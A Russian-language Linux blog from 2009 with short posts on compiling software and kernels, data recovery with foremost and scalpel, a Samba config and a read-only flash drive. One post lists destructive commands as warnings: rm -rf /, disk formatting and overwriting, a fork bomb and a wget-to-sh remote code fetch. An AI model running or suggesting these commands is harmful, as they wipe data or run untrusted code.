среда, 22 апреля 2009 г.

Сборка из исходныв кодов в ubuntu

Общая схема
./configure
make
sudo make install
Установка в пользовательский каталог
./configure --prefix=/home/$USER
Если ./configure вывела вам сообщение о недостаче заголовочного файла Xlib.h, воспользуйтесь командой
auto-apt search Xlib.h
Она ответит вам следующим:
usr/include/X11/Xlib.h libdevel/libx11-dev
Это обозначает, что нужный вам файл содержится в пакете libx11-dev, относящемся к категории libdevel (пакеты для разработки) и после установки пакета (sudo apt-get install libx11-dev) будет лежать по адресу usr/include/X11/Xlib.h

Есть ещё более простой путь вызова ./configure, который сам предложит вам установить все необходимые пакеты
auto-apt run ./configure
./configure
make
sudo checkinstall
checkinstall проверяет, что и как хочет сделать команда make install, а потом собирает по полученным сведениям deb-пакет и устанавливает его в систему (то есть, для удачного выполнения этой команды ей так же нужны права суперпользователя). Благодаря этому, вы сможете потом легко удалить ненужное вам более приложение, используя например Synaptic.


Подробно тут
rotuka.com/

четверг, 9 апреля 2009 г.

Консоль на рабочем столе

это очень просто)
понадобится gnome-terminal и alltray
sudo apt-get install alltray
alltray --show --sticky --skip-taskbar -x -g +4+44 gnome-terminal --window-with-profile=desktop

описание тут http://linuxopen.ru/2008/07/22/terminal-na-rabochem-stole-da-legko.html

xfce4-terminal --geometry=86x28+10+10
и в параметрах убрать показ скрола, меню

среда, 8 апреля 2009 г.

Компиляция ядра

Скачиваем архив с исходниками последнего стабильного ядра с http://www.kernel.org/ (2.6.29.1 полную версия, размер архива 50Mb)

Установить пакеты:
sudo apt-get install build-essential kernel-package libncurses5-dev libc6-dev qt3-apps-dev
Даем права на папку /usr/src пользователю
sudo chown -R mike /usr/src
Копируем исходники ядра в /usr/src
cp ~/linux-2.6.29.1.tar.bz2 /usr/src
Разархивируем архив
cd /usr/src
tar -xjf linux-2.6.29.1.tar.bz2

воскресенье, 5 апреля 2009 г.

foremost - Восстоновление данных

Взято http://linux.die.net/man/1/foremost

Recover files from a disk image based on headers and footers specified by the user.

-h - Показать справку
-V - Показать информацию об авторских правах
-d - Turn on indirect block detection, this works well for Unix file systems.
-T - Time stamp the output directory so you don't have to delete the output dir when running multiple times.
-v - Подробная информация о программе
-q - Быстрый поиск, ищутся файлы с длинными заголовками, может пропустить файлы. неподходит для NTFS
-Q - Скрытый режим, подавление большинства сообщений об ошибках
-w - только поиск файлов, ничего не восстановит
-a -
-b number
Allows you to specify the block size used in foremost. This is relevant for file naming and quick searches. The default is 512. ie. foremost -b 1024 image.dd

Что не нужно выполнять в linux

Первая и самая известная команда: rm -rf /. Введенная от имени суперпользователя, рекурсивно удалит все файлы.

Намного быстрее форматирование: mkfs.ext3 /dev/sda. Эта команда уничтожит все файлы на диске /dev/sda.

Прием, известный как forkbomb (от системного вызова fork(), который ветвит текущий процесс). Достаточно набрать в консоли :(){:|:&};: и вся память заполнится копиями процессов, результатом чего будет зависание. Особо интересный эффект можно получить, поместив данную команду в сценарии загрузки.

Следующая команда портит жесткий диск /dev/sda: любая_команда > /dev/sda. Если вызванная команда выводит какие-либо данные, то они будут перенаправлены прямиком в начало диска, что приведет к потере данных.

Вредоносный код можно разместить в интернете и вызвать его удалённо командой, которая, на первый взгляд, не вызывает никаких подозрений: wget http://некоторый_вредоносный_код -O- | sh

Шестой способ вредительства заключается в том, чтобы отправить все файлы в "черную дыру" /dev/null. Сделать это можно следующим образом: mv /home/my_home_directory/* /dev/null

И последний способ, который делает невозможным восстановление утерянных данных:
dd if=/dev/urandom of=/dev/sda. В этом случае диск заполняется случайными данными.

Восстановление данных - Scalpel

взято от сюда - http://www.digitalforensicssolutions.com/Scalpel/

Scalpel — это средство быстрого восстановления файлов. Уникальность данного ПО заключается в том, что оно не зависит от файловой системы. Программа ищет по базе данных начало и конец файлов известных форматов и пытается найти их на диске. Поэтому, восстановление возможно как с FATx, NTFS, ext2/3, так и с "голых" (raw) разделов.
apt-get install scalpel
Затем необходимо указать в файле /etc/scalpel/scalpel.conf типы файлов, которые Scalpel будет искать. По-умолчанию, все типы закомментированы.

Далее необходимо дать команду на восстановление:
scalpel /dev/sda1 -o output
Опция "-o" задает директорию, куда надо поместить восстановленные файлы. После окончания работы в директории output будет создан, в том числе, файл audit.txt, содержащий отчет.

Samba конфиг

Хорошая статья по Samba http://linuxforum.ru/viewtopic.php?id=3062

[global]
netbios name = neon
#netbios aliases = parazit
interfaces = 192.168.10.22/255.255.252.0
display charset = UTF8
#printing = lprng
domain master = false
load printers = no
preferred master = true
max connections = 5
max open files = 1000
max smbd processes = 10
# root preexec = /check_smbclient_shares.sh
unix charset = UTF8
security = SHARE
local master = no
min passwd length = 0
null passwords = yes
log file = /var/log/samba/%m.log
dead time = 1
server string = TTLx7
max log size = 5000
hosts allow = 192.168.10., 192.168.8.
dos charset = cp866
#cp866
os level = 35
template homedir = /home/%D/
dns proxy = no
workgroup = AVT_DOMAIN
encrypt passwords = yes
socket options = IPTOS_LOWDELAY TCP_NODELAY
debug level=1
level2 oplocks = true
read raw = no
hosts deny = all,192.168.8.185

Flash disk read only?

столкнулся с проблемой, после нескольких манипуляций с флешкой, (форматирование, разбиение на
раздлы), она стала ReadOnly и всяческое форматирование не помогало, не завершалось, с ошибкой flash Read only..

вот несколько программ, которые помогли оживить флешку:
JetFlash Recovery лучшая! именно она и помогла =)
Flashnul 1rc dos програмка, всевозможно тестирует
HP windows format utilite